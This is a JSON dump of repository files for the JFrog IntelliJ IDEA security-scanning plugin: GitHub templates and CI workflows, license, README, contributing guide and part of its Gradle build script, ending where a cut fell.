[
  {
    "path": ".github/ISSUE_TEMPLATE/bug_report.md",
    "content": "---\nname: 🐞 Bug report\nabout: Create a report to help us improve\ntitle: ''\nlabels: bug\nassignees: ''\n\n---\n\n**Describe the bug**\nA clear and concise description of what the bug is.\n\n**To Reproduce**\nSteps to reproduce the behavior\n\n**Expected behavior**\nA clear and concise description of what you expected to happen.\n\n**Screenshots**\nIf applicable, add screenshots to help explain your problem.\n\n**Versions**\n- JFrog IDEA plugin version:\n- Operating system:\n- Xray version:\n\n**Additional context**\nAdd any other context about the problem here.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/feature_request.md",
    "content": "---\nname: ⭐️ Feature request\nabout: Suggest an idea for this project\ntitle: ''\nlabels: feature request\nassignees: ''\n\n---\n\n**Is your feature request related to a problem? Please describe.**\nA clear and concise description of what the problem is. Ex. I'm always frustrated when [...]\n\n**Describe the solution you'd like to see**\nA clear and concise description of the new feature.\n\n**Describe alternatives you've considered**\nIf applicable, a clear and concise description of any alternative solutions or features you've considered.\n\n**Additional context**\nAdd any other context or screenshots about the feature request here.\n"
  },
  {
    "path": ".github/ISSUE_TEMPLATE/question.md",
    "content": "---\nname: ❓ Question\nabout: Ask a question\ntitle: ''\nlabels: question\nassignees: ''\n\n---\n"
  },
  {
    "path": ".github/PULL_REQUEST_TEMPLATE.md",
    "content": "- [ ] All [tests](https://github.com/jfrog/jfrog-idea-plugin/actions/workflows/test.yml) passed. If this feature is not already covered by the tests, I added new tests.\n-----\n"
  },
  {
    "path": ".github/release.yml",
    "content": "changelog:\n  exclude:\n    labels:\n      - ignore for release\n  categories:\n    - title: Breaking Changes 🚨\n      labels:\n        - breaking change\n    - title: Exciting New Features 🎉\n      labels:\n        - new feature\n    - title: Improvements 🌱\n      labels:\n        - improvement\n    - title: Bug Fixes 🛠\n      labels:\n        - bug\n    - title: Other Changes 📚\n      labels:\n        - \"*\"\n"
  },
  {
    "path": ".github/workflows/cla.yml",
    "content": "name: \"CLA Assistant\"\non:\n  # issue_comment triggers this action on each comment on issues and pull requests\n  issue_comment:\n    types: [created]\n  pull_request_target:\n    types: [opened,synchronize]\n\njobs:\n  CLAssistant:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions-ecosystem/action-regex-match@v2\n        id: sign-or-recheck\n        with:\n          text: ${{ github.event.comment.body }}\n          regex: '\\s*(I have read the CLA Document and I hereby sign the CLA)|(recheckcla)\\s*'\n      \n      - name: \"CLA Assistant\"\n        if: ${{ steps.sign-or-recheck.outputs.match != '' || github.event_name == 'pull_request_target' }}\n        # Alpha Release\n        uses: cla-assistant/github-action@v2.1.1-beta\n        env:\n          # Generated and maintained by github\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n          # JFrog organization secret\n          PERSONAL_ACCESS_TOKEN : ${{ secrets.CLA_SIGN_TOKEN }}\n        with:\n          path-to-signatures: 'signed_clas.json'\n          path-to-document: 'https://jfrog.com/cla/'\n          remote-organization-name: 'jfrog'\n          remote-repository-name: 'jfrog-signed-clas'\n          # branch should not be protected\n          branch: 'master'\n          allowlist: bot*\n"
  },
  {
    "path": ".github/workflows/frogbot-scan-pull-request.yml",
    "content": "name: \"Frogbot Scan Pull Request\"\non:\n  pull_request_target:\n    types: [opened, synchronize]\npermissions:\n  pull-requests: write\n  contents: read\njobs:\n  scan-pull-request:\n    runs-on: ubuntu-latest\n    # A pull request needs to be approved, before Frogbot scans it. Any GitHub user who is associated with the\n    # \"frogbot\" GitHub environment can approve the pull request to be scanned.\n    environment: frogbot\n    steps:\n      - uses: actions/checkout@v2\n        with:\n          ref: ${{ github.event.pull_request.head.sha }}\n          \n      - uses: jfrog-fastci/fastci@main  # Use the FastCI optimization action\n        with:\n          github_token: ${{secrets.GITHUB_TOKEN}}\n          fastci_otel_token: ${{ secrets.FASTCI_TOKEN }}\n\n      # Install prerequisites\n      - name: Set up Java\n        uses: actions/setup-java@v3\n        with:\n          java-version: \"11\"\n          distribution: \"temurin\"\n      - name: Setup Gradle\n        uses: gradle/gradle-build-action@v2\n        with:\n          gradle-version: 7.4.1\n\n      - uses: jfrog/frogbot@v2\n        env:\n          # [Mandatory]\n          # JFrog platform URL (This functionality requires version 3.29.0 or above of Xray)\n          JF_URL: ${{ secrets.FROGBOT_URL }}\n\n          # [Mandatory if JF_USER and JF_PASSWORD are not provided]\n          # JFrog access token with 'read' permissions on Xray service\n          JF_ACCESS_TOKEN: ${{ secrets.FROGBOT_ACCESS_TOKEN }}\n\n          # [Mandatory]\n          # The GitHub token automatically generated for the job\n          JF_GIT_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n"
  },
  {
    "path": ".github/workflows/integration-tests.yml",
    "content": "name: \"Integration Tests\"\n\non:\n  push:\n  # Triggers the workflow on labeled PRs only.\n  pull_request_target:\n    types: [ labeled ]\n  schedule:\n    - cron: '0 6 * * *' # Runs every day at 6:00 AM GMT\n\n# Ensures that only the latest commit is running for each PR at a time.\nconcurrency:\n  group: ${{ github.workflow }}-${{ github.event.pull_request.number || github.sha }}-${{ github.ref }}\n  cancel-in-progress: true\n\njobs:\n  test:\n    if: github.event_name == 'schedule' || github.event_name == 'push' || (github.event_name == 'pull_request_target' && contains(github.event.pull_request.labels.*.name, 'safe to test'))\n    runs-on: ${{ matrix.os }}\n    strategy:\n      fail-fast: false\n      matrix:\n        os: [ ubuntu-latest, windows-latest, macOS-latest, macos-13 ]\n        include:\n          - os: windows-latest\n            gradlew_suffix: .bat\n    steps:\n      - name: Remove 'safe to test' label\n        uses: actions-ecosystem/action-remove-labels@v1\n        with:\n          labels: \"safe to test\"\n      - uses: actions/checkout@v3\n        with:\n          ref: ${{ github.event.pull_request.head.sha }}\n          submodules: true\n\n      - uses: jfrog-fastci/fastci@main  # Use the FastCI optimization action\n        with:\n          github_token: ${{secrets.GITHUB_TOKEN}}\n          fastci_otel_token: ${{ secrets.FASTCI_TOKEN }}\n\n      # Install required tools\n      - name: Set up Java\n        uses: actions/setup-java@v3\n        with:\n          distribution: \"temurin\"\n          java-version: \"17\"\n\n      # Run integration tests\n      - name: Integration Tests\n        env:\n          JFROG_IDE_PLATFORM_URL: ${{ secrets.PLATFORM_URL }}\n          JFROG_IDE_ACCESS_TOKEN: ${{ secrets.PLATFORM_ADMIN_TOKEN }}\n          JFROG_IDE_TEST_EXTERNAL_RESOURCES_REPO: \"releases-remote\"\n        run: ./gradlew${{ matrix.gradlew_suffix }} clean integrationTests\n"
  },
  {
    "path": ".github/workflows/test.yml",
    "content": "name: Test\n\non: [ push, pull_request ]\n\njobs:\n  test:\n    runs-on: ${{ matrix.os }}\n    strategy:\n      fail-fast: false\n      matrix:\n        os: [ ubuntu-latest, windows-latest, macOS-latest ]\n        testCommand: [ \"test\", \"pythonTests\" ]\n        include:\n          - os: windows-latest\n            gradlewSuffix: .bat\n          - testCommand: \"pythonTests\"\n            testName: Python\n    name: ${{ matrix.testName }} Tests on ${{ matrix.os }}\n    steps:\n      - uses: actions/checkout@v3\n\n      - uses: jfrog-fastci/fastci@main  # Use the FastCI optimization action\n        with:\n          github_token: ${{secrets.GITHUB_TOKEN}}\n          fastci_otel_token: ${{ secrets.FASTCI_TOKEN }}\n\n      # Install required tools\n      - name: Set up Java\n        uses: actions/setup-java@v3\n        with:\n          distribution: 'temurin'\n          java-version: '17'\n      - name: Setup Gradle\n        uses: gradle/gradle-build-action@v2\n        with:\n          gradle-version: 7.6\n      - name: Setup NodeJS\n        uses: actions/setup-node@v3\n        with:\n          node-version: '20'\n          check-latest: true\n      - uses: actions/setup-python@v4\n        with:\n          python-version: '3.11.5'\n      # Install JFrog CLI for ConnectionDetailsFromCliTest\n      - name: Install JFrog CLI\n        run: curl -fL https://install-cli.jfrog.io | sh\n\n      # Run tests\n      - name: ${{ matrix.testName }} Tests on ${{ matrix.os }}\n        run: ./gradlew${{ matrix.gradlewSuffix }} clean ${{ matrix.testCommand }}\n"
  },
  {
    "path": ".github/workflows/verification.yml",
    "content": "name: \"Compatibility verification\"\n\non: [ push, pull_request ]\n\njobs:\n  test:\n    runs-on: macOS-latest\n    name: Compatibility verification\n    steps:\n      - uses: actions/checkout@v3\n\n      - uses: jfrog-fastci/fastci@main  # Use the FastCI optimization action\n        with:\n          github_token: ${{secrets.GITHUB_TOKEN}}\n          fastci_otel_token: ${{ secrets.FASTCI_TOKEN }}\n\n      # Install required tools\n      - name: Set up Java\n        uses: actions/setup-java@v3\n        with:\n          distribution: 'temurin'\n          java-version: '17'\n      - name: Setup Gradle\n        uses: gradle/gradle-build-action@v2\n        with:\n          gradle-version: 7.6\n\n      # Run compatibility verification\n      - name: Compatibility verification\n        run: ./gradlew clean verifyPlugin runPluginVerifier\n"
  },
  {
    "path": ".gitignore",
    "content": "# Created by .ignore support plugin (hsz.mobi)\n### Java template\n*.class\n\n# BlueJ files\n*.ctxt\n\n# Mobile Tools for Java (J2ME)\n.mtj.tmp/\n\n# Package Files #\n*.war\n*.ear\n*node_modules/\n\n# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml\nhs_err_pid*\n### JetBrains template\n# Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio and Webstorm\n# Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839\n\n# User-specific stuff:\n.idea/tasks.xml\n\n# Sensitive or high-churn files:\n.idea/dataSources/\n.idea/dataSources.ids\n.idea/dataSources.xml\n.idea/dataSources.local.xml\n.idea/sqlDataSources.xml\n.idea/dynamic.xml\n\n# Gradle:\n.idea\n.gradle\n/out\n/build\n/*/build\n/*/out\n\n# Mongo Explorer plugin:\n.idea/mongoSettings.xml\n\n## File-based project format:\n*.iws\n\n## Plugin-specific files:\n\n# IntelliJ\n/out/\n\n# mpeltonen/sbt-idea plugin\n.idea_modules/\n\n# JIRA plugin\natlassian-ide-plugin.xml\n\n# Crashlytics plugin (for Android Studio and IntelliJ)\ncom_crashlytics_export_strings.xml\ncrashlytics.properties\ncrashlytics-build.properties\nfabric.properties\n\n## IOS\n.DS_Store\n\n#JFrog\n.jfrog\n\n#npm\n.npmrc\n\n# Webview\n/src/main/resources/jfrog-ide-webview\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# Guidelines\n\n- If the existing tests do not already cover your changes, please add tests.\n\n## Building and Testing the Sources\n\nTo build the plugin sources, please follow these steps:\n\n1. Clone the code from git.\n2. Build and create the JFrog IDEA Plugin zip file by running the following gradle command:\n\n    ```bash\n    ./gradlew clean build\n    ```\n\nAfter the build finishes, you'll find the zip file in the *build/distributions* directory, located under the\n*jfrog-idea-plugin* directory.\nThe zip file can be loaded into IntelliJ.\n\n## Additional Tests Suits\n\n1. In order to run the Python tests suite, run the following gradle command:\n\n    ```bash\n    ./gradlew clean pythonTests\n    ```\n\n2. In order to run the integration tests:\n    - Make sure you have JFrog platform Instance with JAS enabled.\n    - If you are using JFrog CLI, just make sure the current configured server is the one you want to use.\n      Alternatively, you can set JFROG_IDE_PLATFORM_URL and JFROG_IDE_ACCESS_TOKEN environment variables with your JFrog\n      Platform URL and access token, respectively.\n    - Set the JFROG_IDE_TEST_EXTERNAL_RESOURCES_REPO environment variable to the name of a remote repository in your\n      Artifactory instance that proxies https://releases.jfrog.io/.\n\n   Run the following command:\n\n     ```bash\n     ./gradlew integrationTests\n     ```\n\n## Debugging the Plugin Code\n\nTo build and run the plugin following your code changes, follow these steps:\n\n1. From IntelliJ, open the plugin project, by selecting *jfrog-idea-plugin/build.gradle* file.\n2. Build the sources and launch the plugin by the following these steps:\n\n- From the *Gradle Projects* window, expand *Idea --> Tasks -->  IntelliJ*\n- Debug the *runIdea* task.\n"
  },
  {
    "path": "LICENSE",
    "content": "                                 Apache License\n                           Version 2.0, January 2004\n                        http://www.apache.org/licenses/\n\n   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION\n\n   1. Definitions.\n\n      \"License\" shall mean the terms and conditions for use, reproduction,\n      and distribution as defined by Sections 1 through 9 of this document.\n\n      \"Licensor\" shall mean the copyright owner or entity authorized by\n      the copyright owner that is granting the License.\n\n      \"Legal Entity\" shall mean the union of the acting entity and all\n      other entities that control, are controlled by, or are under common\n      control with that entity. For the purposes of this definition,\n      \"control\" means (i) the power, direct or indirect, to cause the\n      direction or management of such entity, whether by contract or\n      otherwise, or (ii) ownership of fifty percent (50%) or more of the\n      outstanding shares, or (iii) beneficial ownership of such entity.\n\n      \"You\" (or \"Your\") shall mean an individual or Legal Entity\n      exercising permissions granted by this License.\n\n      \"Source\" form shall mean the preferred form for making modifications,\n      including but not limited to software source code, documentation\n      source, and configuration files.\n\n      \"Object\" form shall mean any form resulting from mechanical\n      transformation or translation of a Source form, including but\n      not limited to compiled object code, generated documentation,\n      and conversions to other media types.\n\n      \"Work\" shall mean the work of authorship, whether in Source or\n      Object form, made available under the License, as indicated by a\n      copyright notice that is included in or attached to the work\n      (an example is provided in the Appendix below).\n\n      \"Derivative Works\" shall mean any work, whether in Source or Object\n      form, that is based on (or derived from) the Work and for which the\n      editorial revisions, annotations, elaborations, or other modifications\n      represent, as a whole, an original work of authorship. For the purposes\n      of this License, Derivative Works shall not include works that remain\n      separable from, or merely link (or bind by name) to the interfaces of,\n      the Work and Derivative Works thereof.\n\n      \"Contribution\" shall mean any work of authorship, including\n      the original version of the Work and any modifications or additions\n      to that Work or Derivative Works thereof, that is intentionally\n      submitted to Licensor for inclusion in the Work by the copyright owner\n      or by an individual or Legal Entity authorized to submit on behalf of\n      the copyright owner. For the purposes of this definition, \"submitted\"\n      means any form of electronic, verbal, or written communication sent\n      to the Licensor or its representatives, including but not limited to\n      communication on electronic mailing lists, source code control systems,\n      and issue tracking systems that are managed by, or on behalf of, the\n      Licensor for the purpose of discussing and improving the Work, but\n      excluding communication that is conspicuously marked or otherwise\n      designated in writing by the copyright owner as \"Not a Contribution.\"\n\n      \"Contributor\" shall mean Licensor and any individual or Legal Entity\n      on behalf of whom a Contribution has been received by Licensor and\n      subsequently incorporated within the Work.\n\n   2. Grant of Copyright License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      copyright license to reproduce, prepare Derivative Works of,\n      publicly display, publicly perform, sublicense, and distribute the\n      Work and such Derivative Works in Source or Object form.\n\n   3. Grant of Patent License. Subject to the terms and conditions of\n      this License, each Contributor hereby grants to You a perpetual,\n      worldwide, non-exclusive, no-charge, royalty-free, irrevocable\n      (except as stated in this section) patent license to make, have made,\n      use, offer to sell, sell, import, and otherwise transfer the Work,\n      where such license applies only to those patent claims licensable\n      by such Contributor that are necessarily infringed by their\n      Contribution(s) alone or by combination of their Contribution(s)\n      with the Work to which such Contribution(s) was submitted. If You\n      institute patent litigation against any entity (including a\n      cross-claim or counterclaim in a lawsuit) alleging that the Work\n      or a Contribution incorporated within the Work constitutes direct\n      or contributory patent infringement, then any patent licenses\n      granted to You under this License for that Work shall terminate\n      as of the date such litigation is filed.\n\n   4. Redistribution. You may reproduce and distribute copies of the\n      Work or Derivative Works thereof in any medium, with or without\n      modifications, and in Source or Object form, provided that You\n      meet the following conditions:\n\n      (a) You must give any other recipients of the Work or\n          Derivative Works a copy of this License; and\n\n      (b) You must cause any modified files to carry prominent notices\n          stating that You changed the files; and\n\n      (c) You must retain, in the Source form of any Derivative Works\n          that You distribute, all copyright, patent, trademark, and\n          attribution notices from the Source form of the Work,\n          excluding those notices that do not pertain to any part of\n          the Derivative Works; and\n\n      (d) If the Work includes a \"NOTICE\" text file as part of its\n          distribution, then any Derivative Works that You distribute must\n          include a readable copy of the attribution notices contained\n          within such NOTICE file, excluding those notices that do not\n          pertain to any part of the Derivative Works, in at least one\n          of the following places: within a NOTICE text file distributed\n          as part of the Derivative Works; within the Source form or\n          documentation, if provided along with the Derivative Works; or,\n          within a display generated by the Derivative Works, if and\n          wherever such third-party notices normally appear. The contents\n          of the NOTICE file are for informational purposes only and\n          do not modify the License. You may add Your own attribution\n          notices within Derivative Works that You distribute, alongside\n          or as an addendum to the NOTICE text from the Work, provided\n          that such additional attribution notices cannot be construed\n          as modifying the License.\n\n      You may add Your own copyright statement to Your modifications and\n      may provide additional or different license terms and conditions\n      for use, reproduction, or distribution of Your modifications, or\n      for any such Derivative Works as a whole, provided Your use,\n      reproduction, and distribution of the Work otherwise complies with\n      the conditions stated in this License.\n\n   5. Submission of Contributions. Unless You explicitly state otherwise,\n      any Contribution intentionally submitted for inclusion in the Work\n      by You to the Licensor shall be under the terms and conditions of\n      this License, without any additional terms or conditions.\n      Notwithstanding the above, nothing herein shall supersede or modify\n      the terms of any separate license agreement you may have executed\n      with Licensor regarding such Contributions.\n\n   6. Trademarks. This License does not grant permission to use the trade\n      names, trademarks, service marks, or product names of the Licensor,\n      except as required for reasonable and customary use in describing the\n      origin of the Work and reproducing the content of the NOTICE file.\n\n   7. Disclaimer of Warranty. Unless required by applicable law or\n      agreed to in writing, Licensor provides the Work (and each\n      Contributor provides its Contributions) on an \"AS IS\" BASIS,\n      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or\n      implied, including, without limitation, any warranties or conditions\n      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A\n      PARTICULAR PURPOSE. You are solely responsible for determining the\n      appropriateness of using or redistributing the Work and assume any\n      risks associated with Your exercise of permissions under this License.\n\n   8. Limitation of Liability. In no event and under no legal theory,\n      whether in tort (including negligence), contract, or otherwise,\n      unless required by applicable law (such as deliberate and grossly\n      negligent acts) or agreed to in writing, shall any Contributor be\n      liable to You for damages, including any direct, indirect, special,\n      incidental, or consequential damages of any character arising as a\n      result of this License or out of the use or inability to use the\n      Work (including but not limited to damages for loss of goodwill,\n      work stoppage, computer failure or malfunction, or any and all\n      other commercial damages or losses), even if such Contributor\n      has been advised of the possibility of such damages.\n\n   9. Accepting Warranty or Additional Liability. While redistributing\n      the Work or Derivative Works thereof, You may choose to offer,\n      and charge a fee for, acceptance of support, warranty, indemnity,\n      or other liability obligations and/or rights consistent with this\n      License. However, in accepting such obligations, You may act only\n      on Your own behalf and on Your sole responsibility, not on behalf\n      of any other Contributor, and only if You agree to indemnify,\n      defend, and hold each Contributor harmless for any liability\n      incurred by, or claims asserted against, such Contributor by reason\n      of your accepting any such warranty or additional liability.\n\n   END OF TERMS AND CONDITIONS\n\n   APPENDIX: How to apply the Apache License to your work.\n\n      To apply the Apache License to your work, attach the following\n      boilerplate notice, with the fields enclosed by brackets \"{}\"\n      replaced with your own identifying information. (Don't include\n      the brackets!)  The text should be enclosed in the appropriate\n      comment syntax for the file format. We also recommend that a\n      file or class name and description of purpose be included on the\n      same \"printed page\" as the copyright notice for easier\n      identification within third-party archives.\n\n   Copyright {yyyy} {name of copyright owner}\n\n   Licensed under the Apache License, Version 2.0 (the \"License\");\n   you may not use this file except in compliance with the License.\n   You may obtain a copy of the License at\n\n       http://www.apache.org/licenses/LICENSE-2.0\n\n   Unless required by applicable law or agreed to in writing, software\n   distributed under the License is distributed on an \"AS IS\" BASIS,\n   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n   See the License for the specific language governing permissions and\n   limitations under the License.\n"
  },
  {
    "path": "README.md",
    "content": "[![](readme-resources/readme_image.png)](#readme)\n\n<div align=\"center\">\n\n# JFrog IntelliJ IDEA Plugin\n\n![JFrog IntelliJ IDEA Plugin Marketplace Installs](https://img.shields.io/jetbrains/plugin/d/9834-jfrog?label=Marketplace%20installs&color=blue&style=for-the-badge)\n\n[![Scanned by Frogbot](https://raw.github.com/jfrog/frogbot/master/images/frogbot-badge.svg)](https://github.com/jfrog/frogbot#readme)\n[![Build status](https://github.com/jfrog/jfrog-idea-plugin/actions/workflows/test.yml/badge.svg)](https://github.com/jfrog/jfrog-idea-plugin/actions/workflows/test.yml)\n[![Marketplace](https://img.shields.io/jetbrains/plugin/v/9834-jfrog)](https://plugins.jetbrains.com/plugin/9834-jfrog)\n\n</div>\n\n# 🤖 About this Plugin\n\nThe plugin allows developers to find and fix security vulnerabilities in their projects and to see valuable information\nabout the status of their code by continuously scanning it locally with [JFrog Security](https://jfrog.com/xray/).\n\n### What security capabilities do we provide?\n#### Basic\n<details>\n  <summary>Software Composition Analysis (SCA)</summary>\nScans your project dependencies for security issues and shows you which dependencies are vulnerable. If the vulnerabilities have a fix, you can upgrade to the version with the fix in a click of a button.\n</details>\n\n<details>\n  <summary>CVE Research and Enrichment</summary>\nFor selected security issues, get leverage-enhanced CVE data that is provided by our JFrog Security Research team.\nPrioritize the CVEs based on:\n\n- **JFrog Severity**: The severity given by the JFrog Security Research team after the manual analysis of the CVE by the team.\nCVEs with the highest JFrog security severity are the most likely to be used by real-world attackers.\nThis means that you should put effort into fixing them as soon as possible.\n- **Research Summary**: The summary that is based on JFrog's security analysis of the security issue provides detailed technical information on the specific conditions for the CVE to be applicable.\n- **Remediation**: Detailed fix and mitigation options for the CVEs\n\nYou can learn more about enriched CVEs [here](https://jfrog.com/help/r/jfrog-security-documentation/jfrog-security-cve-research-and-enrichment).\n\nCheck out what our research team is up to and stay updated on newly discovered issues by clicking on this link: <https://research.jfrog.com>\n</details>\n\n#### Advanced\n*Requires Xray version 3.66.5 or above and Enterprise X / Enterprise+ subscription with [Advanced DevSecOps](https://jfrog.com/xray/#xray-advanced)).*\n\n<details>\n  <summary>CVEs Contextual Analysis</summary>\nUses the code context to eliminate false positive reports on vulnerable dependencies that are not applicable to the code. \nCVEs Contextual Analysis is currently supported for Python, Java and JavaScript code.\n</details>\n\n<details>\n  <summary>Secrets Detection</summary>\nPrevents the exposure of keys or credentials that are stored in your source code.\n</details>\n\n<details>\n  <summary>Infrastructure as Code (IaC) Scan</summary>\nSecures your IaC files. Critical to keeping your cloud deployment safe and secure.\n</details>\n\n#### Additional Perks\n\n- Security issues are easily visible inline.\n- The results show issues with context, impact, and remediation.\n- View all security issues in one place, in the JFrog tab.\n- For Security issues with an available fixed version, you can upgrade to the fixed version within the plugin.\n- Track the status of the code while it is being built, tested, and scanned on the CI server.\n\nIn addition to IntelliJ IDEA, the plugin also supports the following IDEs:\n\n- WebStorm\n- PyCharm\n- Android Studio\n- GoLand\n- Rider\n- CLion\n\n# 📖 Documentation\n\nRead the [documentation](https://docs.jfrog-applications.jfrog.io/jfrog-applications/ide/jetbrains-ides) to get started.\n\n# 🔥 Reporting Issues\n\nPlease report issues by opening an issue on [GitHub](https://github.com/jfrog/jfrog-idea-plugin/issues).\n\n# 💻 Contributions\n\nWe welcome community contribution through pull requests. To help us improve this project, please read our [Contribution](./CONTRIBUTING.md#guidelines) guide.\n\n# 🥏 Release Notes\n\nThe release notes are available [here](https://github.com/jfrog/jfrog-idea-plugin/releases).\n"
  },
  {
    "path": "build.gradle",
    "content": "import java.net.http.HttpClient\nimport java.net.http.HttpRequest\nimport java.net.http.HttpResponse\nimport java.nio.file.Paths\n\nplugins {\n    id \"org.jetbrains.intellij\" version \"1.16.0\"\n    id \"java\"\n    id \"maven-publish\"\n    id \"de.undercouch.download\" version \"5.3.0\"\n    id \"io.freefair.lombok\" version \"8.0.1\"\n}\n\ngroup 'com.jfrog.ide'\nversion currentVersion\n\nsourceCompatibility = JavaVersion.VERSION_17\ntargetCompatibility = JavaVersion.VERSION_17\ndef testPython = project.gradle.startParameter.taskNames.contains(\"pythonTests\")\ndef intellijType = testPython ? \"IC\" : \"IU\"\n\nintellij {\n    version = sandboxVersion\n    type = intellijType\n    plugins = ['gradle', 'maven', 'Groovy', 'properties', 'java', 'Kotlin', 'org.jetbrains.plugins.go:223.8617.56', \"PythonCore:223.8617.56\"]\n    pluginName = 'JFrog'\n}\n\nrunPluginVerifier {\n    verifierVersion = '1.400'\n}\n\nrunIde {\n    jvmArgs '-Xmx2G'\n}\n\npatchPluginXml {\n    sinceBuild = \"223.4884.69\"\n    // Explicitly setting this to an empty string makes the plugin compatible with all IDE versions up to the latest one.\n    // Removing this line will limit compatibility to IDE versions up to 'sandboxVersion'.\n    untilBuild = \"\"\n}\n\nlistProductsReleases {\n    doLast {\n        // At the end of the build, write the first and last versions of the products to the output file.\n        // This will be used by the runPluginVerifier task to validate the compatibility of the plugin against the\n        // first and last versions of IntelliJ IDEA.\n        def outputFileObj = outputFile.get().asFile\n        if (outputFileObj.exists()) {\n            def lines = outputFileObj.readLines()\n            if (!lines.isEmpty()) {\n                def firstVersion = lines.first()\n                def lastVersion = lines.last()\n                outputFileObj.write(\"$firstVersion\\n$lastVersion\")\n            }\n        }\n    }\n}\n\nrepositories {\n    mavenLocal()\n    mavenCentral()\n    maven {\n        url \"https://releases.jfrog.io/artifactory/oss-releases\"\n    }\n    maven {\n        url \"https://releases.jfrog.io/artifactory/oss-snapshots\"\n    }\n    maven {\n        url \"https://cache-redirector.jetbrains.com/intellij-dependencies\"\n    }\n}\n\ndef buildInfoVersion = '2.43.6'\ndef idePluginsCommonVersion = '2.4.4'\n// Updated to 2.17.3 for security fixes - compatible with Java 8+\ndef jacksonVersion = '2.17.3'\n\ndependencies {\n    implementation group: 'com.fasterxml.jackson.dataformat', name: 'jackson-dataformat-yaml', version: jacksonVersion\n    implementation group: 'org.jfrog.buildinfo', name: 'build-info-extractor', version: buildInfoVersion\n    implementation group: 'com.jfrog.ide', name: 'ide-plugins-common', version: idePluginsCommonVersion\n    implementation group: 'org.jfrog.buildinfo', name: 'build-info-client', version: buildInfoVersion\n    implementation group: 'com.fasterxml.jackson.core', name: 'jackson-databind', version: jacksonVersion\n    implementation group: 'org.jfrog.buildinfo', name: 'build-info-api', version: buildInfoVersion\n    implementation group: 'com.jfrog.xray.client', name: 'xray-client-java', version: '0.14.1'\n    implementation group: 'org.apache.commons', name: 'commons-collections4', version: '4.4'\n    implementation group: 'org.jfrog.filespecs', name: 'file-specs-java', version: '1.1.2'\n    implementation group: 'org.apache.commons', name: 'commons-lang3', version: '3.11'\n    implementation group: 'com.google.guava', name: 'guava', version: '32.0.1-jre'\n    implementation group: 'org.codehaus.plexus', name: 'plexus-utils', version: '3.4.1'\n    implementation group: 'net.lingala.zip4j', name: 'zip4j', version: '2.11.4'\n\n    annotationProcessor group: 'org.projectlombok', name: 'lombok', version: '1.18.20'\n    compileOnly group: 'org.projectlombok', name: 'lombok', version: '1.18.20'\n\n    testImplementation group: 'org.mockito', name: 'mockito-inline', version: '4.2.0'\n    testImplementation group: 'org.mockito', name: 'mockito-core', version: '4.2.0'\n}\n\ntest {\n    scanForTestClasses false\n    include \"**/*Test.class\"\n    exclude \"**/*IntegrationTest*\", \"**/*PypiScannerTest*\"\n    testLogging {\n        exceptionFormat \"full\"\n        events \"started\", \"passed\", \"skipped\", \"failed\", \"standardOut\", \"standardError\"\n        minGranularity 0\n    }\n}\n\ntasks.register('pythonTests', Test) {\n    scanForTestClasses false\n    include \"**/*PypiScannerTest*\"\n    testLogging {\n        exceptionFormat \"full\"\n        events \"started\", \"passed\", \"skipped\", \"failed\", \"standardOut\", \"standardError\"\n        minGranularity 0\n    }\n}\n\ntasks.register('integrationTests', Test) {\n    scanForTestClasses false\n    include \"**/*IntegrationTests.class\"\n    testLogging {\n        exceptionFormat \"full\"\n        events \"started\", \"passed\", \"skipped\", \"failed\", \"standardOut\", \"standardError\"\n        minGranularity 0\n    }\n}\n\ndef webviewFileName = 'jfrog-ide-webview-' + webviewVersion + '.tgz'\ndef webviewUrl = 'https://releases.jfrog.io/artifactory/ide-webview-npm/jfrog-ide-webview/-/' + webviewFileName\ntasks.register('downloadWebview', Download) {\n    src webviewUrl\n    dest buildDir\n    onlyIfModified true\n    finalizedBy('getAndUpdateWebviewChecksum')\n}\n\ntasks.register('getAndUpdateWebviewChecksum') {\n    finalizedBy('verifyWebview')\n    if (System.getenv(\"CI\") != null) {\n        println 'CI mode is active - Skipping Webview checksum update'\n        ext.checksum = webviewChecksum\n        return\n    }\n    ext.checksum = getWebviewChecksumFromServer(webviewUrl)\n    updateWebviewChecksumInPropertiesFile(ext.checksum)\n}\n\ntasks.register('verifyWebview', Verify) {\n    src new File(buildDir, webviewFileName)\n    algorithm 'SHA-256'\n    checksum getAndUpdateWebviewChecksum.checksum\n    finalizedBy('extractWebview')\n}\n\ntasks.register('extractWebview', Copy) {\n    from tarTree(new File(buildDir, webviewFileName))\n    into Paths.get('src', 'main', 'resources', 'jfrog-ide-webview').toFile()\n    include '**/build/**/*'\n    eachFile {\n        path = path.replace('package/build/', '')\n    }\n}\n\ntasks.withType(JavaCompile).configureEach {\n    options.deprecation = true\n    options.encoding = \"UTF-8\"\n}\n\ntasks.withType(ProcessResources).configureEach {\n    dependsOn('downloadWebview')\n}\n\npublishing {\n    publications {\n        mavenJava(MavenPublication) {\n            from components.java\n            artifact buildPlugin\n        }\n    }\n}\n\npublishPlugin {\n    token = System.getenv(\"JETBRAINS_TOKEN\")\n}\n\n/**\n * Get Webview checksum from releases.jfrog.io\n * @param webviewUrl - Webview URL\n * @return the sha256 of the webview\n */\nstatic String getWebviewChecksumFromServer(String webviewUrl) {\n    def headRequest = HttpRequest.newBuilder(new URL(webviewUrl).toURI()).method(\"HEAD\", HttpRequest.BodyPublishers.noBody()).build()\n    def checksumResponse = HttpClient.newHttpClient().send(headRequest, HttpResponse.BodyHandlers.ofString())\n    return checksumResponse.headers().firstValue(\"x-checksum-sha256\").get()\n}\n\n/**\n * Update the Webview checksum in the gradle.properties file\n * @param checksum - Webview checksum to update\n */\nstatic def updateWebviewChecksumInPropertiesFile(String checksum) {\n    def gradleProps = new Properties()\n    File gradlePropertiesFile = new File(\"gradle.properties\")\n    gradlePropertiesFile.withInputStream { gradleProps.load(it) }\n    gradleProps.setProperty(\"webviewChecksum\", checksum)\n    